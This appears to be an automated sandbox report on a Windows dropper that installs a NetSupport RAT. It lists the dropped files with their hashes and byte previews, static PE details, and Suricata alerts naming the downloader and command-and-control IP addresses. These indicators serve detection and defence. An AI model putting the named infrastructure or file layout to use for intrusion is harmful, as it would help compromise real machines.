Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........L.."..."..."......"...!..."...&..."...#.#."...#..."...'..."..."...".../..."......"... ...".Rich..".........PE..d.....n..........." .....2...............................................................`A........................................p`......$b..,...............P...............@....T..T............................P..............(Q......._.......................text...@0.......2.................. ..`.rdata.......P.......6..............@..@.data....W...p...R...R..............@....pdata..P...........................@..@.didat..@...........................@....rsrc...............................@..@.reloc..@...........................@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\DNScache\sxssrv.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	5.653431988503668
Encrypted:	false
SSDEEP:	768:oiJ1zclr/MASr6OKgDI/yQxSXIF9h2nGae7qfYa3a4knejEJ:jolr/MRr6OKd/7QnGae7qQ34knejEJ
MD5:	1985068B049D1FFBB8D3F837393DF81F
SHA1:	2E2B2AC8114DE2460F52F886FC838EAC2D287028
SHA-256:	B99151A18AAA83C0D6931245E6DA250346F1A61B0F8F058123E47D9BC5C12BE8
SHA-512:	38CD22D1DC54D763186DE29E7F66D28E52ED4C4DF392296FB1BC19F51215526AA73A73208AFC957EE92ABC4A83F272FBA3A793FE8439BDFCBF9672A0912080AA
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............d.U.d.U.d.U...T.d.U.d.U.d.U...T.d.U...T.d.U...T.d.U...T.d.U..fU.d.U...T.d.URich.d.U........................PE..d.....H..........." .....\...6.......T...............................................+....`A...........................................X...(...P...............X...............t....x..T...........................0p..............0r...............................text....Z.......\.................. ..`.rdata..b ...p..."...`..............@..@.data...............................@....pdata..X...........................@..@.rsrc...............................@..@.reloc..t...........................@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\DNScache\wfapigp.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	25088
Entropy (8bit):	5.205586980019994
Encrypted:	false
SSDEEP:	384:vsasWmuNvd5vufysXZ+ciR/x5Tw0/G5pYC0opE6vGCW5vW:0DI5ky6xiRpG5pY0pEUy
MD5:	D4873BE47707E1B3B44BF12A67C64408
SHA1:	8BD6E739BDE27A59254FA59C0930F033A6CA1341
SHA-256:	65C3E3A8A2D17D5426C80A2986CD958DC79EFF7952D5DA233B3ED3B752DEE207
SHA-512:	8345D8CC57A87524695B7C4C82A5E5E118C549201C1CDBFA6E62D25C1590A8FE9E4FAF8AA440ADF836ACA79C395F615EE8A84BC475695C47BC702A7FC7C185D6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................F.........................................*..........Rich...........PE..d...v.6..........." .....2...2......0.....................................................`A.........................................c..4....c..@....... .......l...............\...pT..p........................... P..............8Q......,`.......................text.../1.......2.................. ..`.rdata.......P.......6..............@..@.data........p.......R..............@....pdata..l............T..............@..@.didat...............X..............@....rsrc... ............Z..............@..@.reloc..\............`..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\DNScache\whealogr.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	61752
Entropy (8bit):	5.4012951902217985
Encrypted:	false
SSDEEP:	1536:Wuk+FOYDsdNWoj50vwsfLwrSoPSCbtPMj:Wuk+FOysdNW9TUSmnC
MD5:	489D733B96B0FBAFC621B74A055F9430
SHA1:	E2E7ABEB615124A1D7CCC24B41AC4FE6069B5986
SHA-256:	88DA52CA0AAF4E85003A55B8731B3878501B994CD262DAB6F10406648ABC5155
SHA-512:	29B6F7026AD71A39F4C80F766803E03DEB7343DC12B88673310E3B22BC9DC28C7C77E8B07EBB526E2EC5B68CC0DE355BC2EB2702A44DAC8929CFDC1A45A082EA
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......7Jt.s+..s+..s+..g@..q+..g@..x+..s+..]+..g@..\|+..g@..r+..g@..z+..g@.r+..g@..r+..Richs+..................PE..d..............." .....D...........G....................................... ............`A.........................................r......Ds...........e......X.......8!......<... g..T............................`...............a...............................text... B.......D.................. ..`.rdata.......`.......H..............@..@.data................b..............@....pdata..X............d..............@..@.rsrc....e.......f...h..............@..@.reloc..<...........................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\1st2_3[1].zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	1400338
Entropy (8bit):	7.996483330924561
Encrypted:	true
SSDEEP:	24576:reeD+L8FKI/QnVC01gplou+ufwZwNDF3iioYr3oXPrPRB7t6U/9iYTN+sJvRf48A:rdDc8N/QnYggLou+ufwZwNDF3D7wnR9I
MD5:	36AD41DA074E7F0638A90F397EB49A0F
SHA1:	506EA153719B4688523167F1DD6BF8A7CBA0E675
SHA-256:	71F33D3E2154654435678D05A916C1DFDF56B17382A03F4ED86F6348CB6A32CB
SHA-512:	5B442D597D41057F9C39D5F843721AE68AD2E789C4A8C0B0EC3206E9977F3F13175931EF44AF2A640D21BD62C81DFB4722798841EF03BFCA9708BE303303B740
Malicious:	false
Preview:	PK........h..S6..P.f..`.......rtmmvrortc.dll.Z{xSU...G. V......`.......N ..}...Jy....B..4.....S...F.>..^..{..".K..P\|.....S.c...L.Zk....)./..n.......Z..c..g.%.7.f.....].c60.:.......Z.....+.Z*W/.\t..l.U.=....U...,9s.Y.^..\|\JJ...........j..'....].m..\.M.k...o..y.]o..2\_...YN}.=M....5.p.My..w...g..Bz>wE.r..l.\.<..=<.X{..FZ...e.....,..&..h`.}.c..Q...........N..oqky..Sp..6c.!......\|{....Q..{...73...l..g:<`l_\...y..{..EC.Ug.},...%.<.f.D.IL,U.D}.>N4c....T...]p\...k...k....eL...%..7...\]&t..T..ui7..?....^..,ic....l.....j....Y..g.H....%...O..UI..v.14O.8.6.......6..IU..T..M.y..3e~8.VT....OP#...........D...m...j..}VY..H...O2.cDN..\|.S\......\|~2"....\|..>...Y..D....@.u..s3...hn@.BI... 4M.).g5u.3...gJ.W.:.Q..x.W.W.Y.N.....[A.(~.........cN>..k..9x/xi........Su..r.r"..nBCU....H..*"Fh..K..L..Y3..c..2k.U...z.Bo:a....+..B..^~%...k....~.WJ....C.d."..................s3.R.aQr....7..v....R..u.d_.s.X&0.,.{...GL7...<H......w.....v....G.2?...3

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\1st2_1[1].zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	44274
Entropy (8bit):	7.9907407787337075
Encrypted:	true
SSDEEP:	768:PEtEQUC3w2hVL8bViNIldLxkCOnQpP/sfX0HvHGcfXuh3p1qQvCmTEKCQ/9cKcb:PEK5CXhJ8bVSSd1ck0fEHv4hZ7ZCQmKK
MD5:	BBA063DDAE53E6C0E4AB1AD15EC18DBF
SHA1:	B0CC91F6D7E246B7BAC1AD54E6A28472427DBC2C
SHA-256:	09B010D89A3093CF8A591773DB003032BE2A1EF6EB5C8FAE6612613A2320C735
SHA-512:	38894A49C92171E8CB3393AEAA40FF0E657C6C159F482807DC9B5D605851DDBCF33839F61D18846E234E10AE27AB0E7890B4250116FF4A73C0F42D3223AC8E36
Malicious:	false
Preview:	PK........$..V..d.....X.......remcmdstub.exe...@TU.0............-.....`P.1AG.ATT......jy....8i....IS...2/......w-..L..%.)r.k.s.....}...}.....g...{..^...&i.jJBQ....Q.n.....;..K.O.P...9`.(...SsrKTE..3..f.....T...Un.nR.j~af.(//..!..aSG~4>r...r..M`..\|{..$L..'..z..~v...^.t..."...9....@Q."..bX.#....<E....<..a......:..5....B.0..T"B..8..K_N....n....^.........q....E`.U.F.._.'......9.(:k!.v...r.q.~..3.83.................Q+G.S].l}..fTqI.\.........!..g...`.....o..pc....[~uG:.,Q....f....\..e..r....X.\|!D.XS.La.._.B;...B..VC..1.l..m.g.AN..2q>.......M....1...h\|.2....fw....UYC.......r7.;.......e..jG......D..+.wB...GA..!...()V[Q....T9.o J>.%Ye...iD.0F.!.m1.Y.W...Rc.k.#..SX.CHjvg7B2p..........0....C.<pX..)........<..).}....]f.....*...#..#..^..8..uz..z..f..6WR..Xk .Dow...8.R.<..{@....C.Y........\|..L..:Lj.......V.{`.rj......#..>~........b,-..T...nPt..kj..K)v.8I%.gd'......@.y....<'.N.qQ...L.,.I..j.....r.{...l.D.....n..e.......8...Yn....H.9z ...'i.....=.....u..7.C.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\loca[1].htm

Download File

Process:	C:\Users\user\AppData\Local\DNScache\client32.exe
File Type:	ASCII text, with no line terminators
Category:	modified
Size (bytes):	16
Entropy (8bit):	3.077819531114783
Encrypted:	false
SSDEEP:	3:llD:b
MD5:	C40449C13038365A3E45AB4D7F3C2F3E
SHA1:	CB0FC03A15D4DBCE7BA0A8C0A809D70F0BE6EB9B
SHA-256:	1A6B256A325EEE54C2A97F82263A35A9EC9BA4AF5D85CC03E791471FC3348073
SHA-512:	3F203E94B7668695F1B7A82BE01F43D082A8A5EB030FC296E0743027C78EAB96774AB8D3732AFE45A655585688FB9B60ED355AEE4A51A2379C545D9440DC974C
Malicious:	false
Preview:	40.7357,-74.1724

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\1st2_2[1].zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	667072
Entropy (8bit):	7.998015043778587
Encrypted:	true
SSDEEP:	12288:F6JqsKXKyeop5x9muAQnPyLZdddjqMiKuuK7WHAieWY90YxVr0BgaLSrC:kqKyeop5x/AQPyLZ5FvFHj60YwD
MD5:	F2E3598D4F87D37699158A5603A9A1B1
SHA1:	80FAFDC8BDE58655997CD99B431593774ACD806B
SHA-256:	90C2C040A9FDCF00F332F49CB3E63A88A685C3721D33B2557F7157E9B741A602
SHA-512:	EEF620D026DB65EA4D8EA07F72CF9C91EDF8C5859BB12DCD6C0B48859B59CB7B650B7B36D652AD5E2F55A5206D20731FF79FE0AA4D41F422F5988BF0EC00F35B
Malicious:	false
Preview:	PK........b..Hu.:\|.C..x.......pcicapi.dll..\SG.8\|.a@ Q........@B..!.-h .. K0 .!Q...J.Q.R..-.mmk[k.....{[.T..(Vq.."...M .}..{.........{g..3g.3so....`....d...N.....5Br....\|..NZ......~..o..%........j.:C.?3..9F...K.......p\.......<{Z0....."...U?o-n..w.......g..+....o.....y\|..L.".v.UJ.......{.......i..!..C.n..2..\.L'..AC.;1.....7..F....~.n.I._..K$.tT...N...G....x4b.....Do....d..(....k..p.H`#Hh....a.u.).....C....Px.0....r....1.....]... .."..p.z.>.&;...uB...T...'....^...) cCdB.I.IEpEO.[...`=W^c`.k..i.....F.de....Vd.s.&....zI...5.U.&....lu....P..K....3.,.V.Ut.tD.4..]e-...z..pY..?....e.F..\|?.:ZVk..7.n~.dM3.$'.j&N.M6.I..qLO.]&PW5......-....fY...&%...S......hN..V.U.EXy...b4...UfM...W.G.8S.......F.8B.#...b..."..Zy.x,=.Z.@E"y..%.e....)s....>.U.....).Et.9...cr.n..w....E..WzX.1.....u.v%d.u,<..,....CLm~....y_..@O...BQ;.Z@.Z..W{.h\(Hp....\|\.R-\\ .....T.j,<...........X%..q!... v.U..qJ>.....W...K'[.....3m./...z.<.L.W.:....)U B....F.#./m..E.xN..O..+.....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\1st2_4[1].zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	251071
Entropy (8bit):	7.99700044839471
Encrypted:	true
SSDEEP:	6144:WnoqH0dtNsXUu8nl2MIDOJytXtq76szq08sngADdD:WnOdtNiZ8nl2MI6YtXceNve
MD5:	66968878A84B806B24CB53C00BFDF21D
SHA1:	C20C08F88C41813DC0AB8C5AA77CD43DA0E0BBC1
SHA-256:	0CFAD0FC715281FE7F033B3BC7B9477043B9835D86435807FD045D63B40E8602
SHA-512:	1D28875F7C4102CCFB07F1FA887D83A4F8DC416FAFC98641A8C62639F42E229DDDD2D8F16EE2C6F1EC5E8FBA0F5CB9F62C176F1CEBEB1953691A5E7098984920
Malicious:	false
Preview:	PK........2a.O..y.,..........sxshared.dll.}.xT...l.MB..n.....F.\...!.Kv.l0....$$...g..`...V..ZjkK[...U....!....$.PD.(.$.o.h...h..93.....{.~...{..L..s..9s...X.j..'.$@.$B:..3.v..t..+.s..M.T.M-..o.;]..\....fA..w....Mz.Me...Z.,.&. .8.....=..G.\|..C.....=I..<.8....tZ...S4.._.\|.CO.......~..........:.....~.y.RS......qW.%.P.`8......"?...BB.......O..U.6.2}...)..B..V.:B.Q...@..c......}..o.m).B.P.}I%t`..Y..U.y6.............I....i2...d..y.##_...AZ&.H:.,'#,..J.!=:..z ...=yr.y..W...nH........5.]...g/.[@...y......9.....Os.h.......h0.....g...?.."\G5..,._...;.h:.K..X...+!.?...`y.jC..}7.....FL...t......v(...c..j.n5..p.,...._...o...l..eK0../m..}..Q....mZ.S..I.w.r.b..?.=...J..MF.B.m..5........@d.-Q.=m.b.........kA......].myx.....s............l..b....nH^..o/\|r-..{.0>.V...y..L.x....W.+,.A...y..B`.Q.C. ^.VTK..x.9ng...xI%...J..2..o...'.."j.......a. Qi.<..6c.y..tJ...(.....@o3.Vt.......~..@..^u...d$.$.06..~\..n...@..4[.[.SwR'm7.o...?B..P2...M.R

C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe

Download File

Process:	C:\Users\user\Desktop\5q1Wm5VlqL.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5112587
Entropy (8bit):	6.434759404469782
Encrypted:	false
SSDEEP:	98304:HDVS4lyfvsVqltyD5DhADNlXQ2orLmKeLDCVvANLA1pOuI8F7fqLmLhPR6x7:okPD52
MD5:	84F3BCBD539E959C3770643D1F1712FF
SHA1:	7941574A501B23B20EAA93902E374DB56CCE7D71
SHA-256:	6A34691F51C252D569EC7924D9CC06FBD94B466C78BDF4351D1AED10CE2C6065
SHA-512:	F9FFDAD413115A18CB832DC8D36E943C7EFEAA85711644D602025EECBAC230D728D0EA1E1D41BD429E17827C1F6E19EF3F1E73EF999B194B1697F6EBD93AC3FF
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......\]...<h..<h..<h.SDk..<h.SDm..<h.SDl..<h...m.2<h...l..<h...k..<h.SDi..<h..<i.i<h.r.a..<h.r....<h.r.j..<h.Rich.<h.................PE..L.....ae...............&.x...........s............@.......................................@.................................\|........@.......................P..<.......................................@............................................text....v.......x.................. ..`.rdata..............\|..............@..@.data........ ......................@....rsrc........@......................@..@.reloc..<....P......................@..B.config......p.......$.................@................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	7.931723434670375
TrID:	Win64 Executable GUI (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	5q1Wm5VlqL.exe
File size:	1'818'624 bytes
MD5:	f411f07437db9f29222e19af93f72906
SHA1:	7ec2b1590b1f2670c1c04c1b9f2d1d021c589a84
SHA256:	5dd4a822034679a3827712848e2c674e01626de2fbacd569b20c634efb45f7be
SHA512:	4d63eb0f41c75f5cebbdededbd2a774499db5fe6de419b6b03be789fe8048beeb01bba753a519ecd50d9dcb13c95002b75898fbbf95a8b02e590eef14f1b4bab
SSDEEP:	49152:zj+INBqrisJUKUgfRaAyL4swER2EpFC5K:lNkr1fRM9R2+
TLSH:	9E852389D7C5ECFAF1292673D9E0C14AA2B0751947D809BF65AC709D39231C231FAE4E
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....... .'8d.Ikd.Ikd.Ik/.Lje.Ik/.Jjg.Ik/.Mjw.Ik/.Hju.Ikd.Hk..Ik/.Ajn.Ik/..ke.Ik/.Kje.IkRichd.Ik................PE..d..._............."

File Icon


Icon Hash:	0190a5a5a2b2b2a5

Static PE Info

General

Entrypoint:	0x140001150
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
Time Stamp:	0xD97FD45F [Sun Aug 19 04:21:51 2085 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	10
OS Version Minor:	0
File Version Major:	10
File Version Minor:	0
Subsystem Version Major:	10
Subsystem Version Minor:	0
Import Hash:	4cea7ae85c87ddc7295d39ff9cda31d1

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007FD7E0C2C9B0h
dec eax
add esp, 28h
jmp 00007FD7E0C2C22Bh
int3
int3
int3
int3
int3
int3
dec eax
mov dword ptr [esp+08h], ebx
dec eax
mov dword ptr [esp+10h], edi
inc ecx
push esi
dec eax
sub esp, 000000B0h
and dword ptr [esp+20h], 00000000h
dec eax
lea ecx, dword ptr [esp+40h]
call dword ptr [000082A5h]
nop
dec eax
mov eax, dword ptr [00000030h]
dec eax
mov ebx, dword ptr [eax+08h]
xor edi, edi
xor eax, eax
dec eax
cmpxchg dword ptr [0000B9D2h], ebx
je 00007FD7E0C2C22Ch
dec eax
cmp eax, ebx
jne 00007FD7E0C2C23Fh
mov edi, 00000001h
mov eax, dword ptr [0000B9C8h]
cmp eax, 01h
jne 00007FD7E0C2C23Ch
lea ecx, dword ptr [eax+1Eh]
call 00007FD7E0C2C844h
jmp 00007FD7E0C2C2A9h
mov ecx, 000003E8h
call dword ptr [00008253h]
jmp 00007FD7E0C2C1E6h
mov eax, dword ptr [0000B9A3h]
test eax, eax
jne 00007FD7E0C2C285h
mov dword ptr [0000B995h], 00000001h
dec esp
lea esi, dword ptr [000084DEh]
dec eax
lea ebx, dword ptr [000084BFh]
dec eax
mov dword ptr [esp+30h], ebx
mov dword ptr [esp+24h], eax
dec ecx
cmp ebx, esi
jnc 00007FD7E0C2C251h
test eax, eax
jne 00007FD7E0C2C251h
dec eax
cmp dword ptr [ebx], 00000000h
je 00007FD7E0C2C23Ch
dec ecx
mov edx, 5E523070h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xa394	0xb4	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xf000	0x1ac2ce	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0xe000	0x444	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x1bc000	0x30	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x9a78	0x54	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x9010	0x140	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x9150	0x520	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x7eb0	0x8000	8f5ddc5fa0c3119d30f7e00d7bfd48aa	False	0.547576904296875	data	6.109997796878264	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x9000	0x2420	0x3000	79a5acf192c71ab3579d24a79e81e45b	False	0.3240559895833333	data	3.9065058401206216	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xc000	0x1f00	0x1000	f198899505f620007167379f74f8141c	False	0.083251953125	data	1.0384025678015962	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0xe000	0x444	0x1000	d87d18cc3448a50b581d9a9660a39914	False	0.164306640625	PEX Binary Archive	1.4622023798757706	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0xf000	0x1ac2ce	0x1ad000	0b9d42bf986e0eac692e1395e197fb6a	False	0.9685934995993589	data	7.973276675295763	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x1bc000	0x30	0x1000	b86e33c1f7fc5de5ef683b7d6eea5c32	False	0.01806640625	data	0.11282277483477143	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
AVI	0xf698	0x2e1a	RIFF (little-endian) data, AVI, 272 x 60, 10.00 fps, video: RLE 8bpp	English	United States	0.2713099474665311
RT_ICON	0x124b4	0x20ef	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.9596726366979006
RT_ICON	0x145a4	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 0	English	United States	0.07616910722720831
RT_ICON	0x187cc	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	English	United States	0.10290456431535269
RT_ICON	0x1ad74	0x1a68	Device independent bitmap graphic, 40 x 80 x 32, image size 0	English	United States	0.1257396449704142
RT_ICON	0x1c7dc	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	English	United States	0.14446529080675422
RT_ICON	0x1d884	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	English	United States	0.20491803278688525
RT_ICON	0x1e20c	0x6b8	Device independent bitmap graphic, 20 x 40 x 32, image size 0	English	United States	0.24941860465116278
RT_ICON	0x1e8c4	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	English	United States	0.2854609929078014
RT_RCDATA	0x1ed2c	0x7	ASCII text, with no line terminators	English	United States	2.142857142857143
RT_RCDATA	0x1ed34	0x19b8c1	Microsoft Cabinet archive data, Windows 2000/XP setup, 1685697 bytes, 1 file, at 0x2c +A "1stovl.exe", ID 985, number 1, 157 datablocks, 0x1503 compression	English	United States	1.0001707077026367
RT_RCDATA	0x1ba5f8	0x4	data	English	United States	3.0
RT_RCDATA	0x1ba5fc	0x24	data	English	United States	0.9444444444444444
RT_RCDATA	0x1ba620	0x7	ASCII text, with no line terminators	English	United States	2.142857142857143
RT_RCDATA	0x1ba628	0x7	ASCII text, with no line terminators	English	United States	2.142857142857143
RT_RCDATA	0x1ba630	0x4	data	English	United States	3.0
RT_RCDATA	0x1ba634	0x7	ASCII text, with no line terminators	English	United States	2.142857142857143
RT_RCDATA	0x1ba63c	0x4	data	English	United States	3.0
RT_RCDATA	0x1ba640	0xd	ASCII text, with no line terminators	English	United States	1.6153846153846154
RT_RCDATA	0x1ba650	0x4	data	English	United States	3.0
RT_RCDATA	0x1ba654	0x4	data	English	United States	3.0
RT_RCDATA	0x1ba658	0x7	ASCII text, with no line terminators	English	United States	2.142857142857143
RT_RCDATA	0x1ba660	0x7	ASCII text, with no line terminators	English	United States	2.142857142857143
RT_GROUP_ICON	0x1ba668	0x76	data	English	United States	0.7457627118644068
RT_VERSION	0x1ba6e0	0x408	data	English	United States	0.42054263565891475
RT_MANIFEST	0x1baae8	0x7e6	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.37734915924826906

Imports

DLL	Import
ADVAPI32.dll	GetTokenInformation, RegDeleteValueA, RegOpenKeyExA, RegQueryInfoKeyA, FreeSid, OpenProcessToken, RegSetValueExA, RegCreateKeyExA, LookupPrivilegeValueA, AllocateAndInitializeSid, RegQueryValueExA, EqualSid, RegCloseKey, AdjustTokenPrivileges
KERNEL32.dll	_lopen, _llseek, CompareStringA, GetLastError, GetFileAttributesA, GetSystemDirectoryA, LoadLibraryA, DeleteFileA, GlobalAlloc, GlobalFree, CloseHandle, WritePrivateProfileStringA, IsDBCSLeadByte, GetWindowsDirectoryA, SetFileAttributesA, GetProcAddress, GlobalLock, LocalFree, RemoveDirectoryA, FreeLibrary, _lclose, CreateDirectoryA, GetPrivateProfileIntA, GetPrivateProfileStringA, GlobalUnlock, ReadFile, SizeofResource, WriteFile, GetDriveTypeA, LoadLibraryExA, SetFileTime, SetFilePointer, FindResourceA, CreateMutexA, GetVolumeInformationA, WaitForSingleObject, GetCurrentDirectoryA, FreeResource, GetVersion, SetCurrentDirectoryA, GetTempPathA, LocalFileTimeToFileTime, CreateFileA, SetEvent, TerminateThread, GetVersionExA, LockResource, GetSystemInfo, CreateThread, ResetEvent, LoadResource, ExitProcess, GetModuleHandleW, CreateProcessA, FormatMessageA, GetTempFileNameA, DosDateTimeToFileTime, CreateEventA, GetExitCodeProcess, ExpandEnvironmentStringsA, LocalAlloc, lstrcmpA, FindNextFileA, GetCurrentProcess, FindFirstFileA, GetModuleFileNameA, GetShortPathNameA, Sleep, GetStartupInfoW, RtlCaptureContext, RtlLookupFunctionEntry, RtlVirtualUnwind, UnhandledExceptionFilter, SetUnhandledExceptionFilter, TerminateProcess, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, GetTickCount, EnumResourceLanguagesA, GetDiskFreeSpaceA, MulDiv, FindClose
GDI32.dll	GetDeviceCaps
USER32.dll	ShowWindow, MsgWaitForMultipleObjects, SetWindowPos, GetDC, GetWindowRect, DispatchMessageA, GetSystemMetrics, CallWindowProcA, SetWindowTextA, MessageBoxA, SendDlgItemMessageA, SendMessageA, GetDlgItem, DialogBoxIndirectParamA, GetWindowLongPtrA, SetWindowLongPtrA, SetForegroundWindow, ReleaseDC, EnableWindow, CharNextA, LoadStringA, CharPrevA, EndDialog, MessageBeep, ExitWindowsEx, SetDlgItemTextA, CharUpperA, GetDesktopWindow, PeekMessageA, GetDlgItemTextA
msvcrt.dll	?terminate@@YAXXZ, _commode, _fmode, _acmdln, __C_specific_handler, memset, __setusermatherr, _ismbblead, _cexit, _exit, exit, __set_app_type, __getmainargs, _amsg_exit, _XcptFilter, memcpy_s, _vsnprintf, _initterm, memcpy
COMCTL32.dll
Cabinet.dll
VERSION.dll	VerQueryValueA, GetFileVersionInfoSizeA, GetFileVersionInfoA

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-06T10:39:20.340865+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49707	23.254.224.41	443	TCP
2024-12-06T10:39:22.510795+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49709	23.254.224.41	443	TCP
2024-12-06T10:39:26.049439+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49712	23.254.224.41	443	TCP
2024-12-06T10:39:31.029828+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49723	23.254.224.41	443	TCP
2024-12-06T10:39:34.524193+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:39:34.939226+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:23.621627+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:33.055481+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:34.464439+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:34.665473+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:34.966443+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
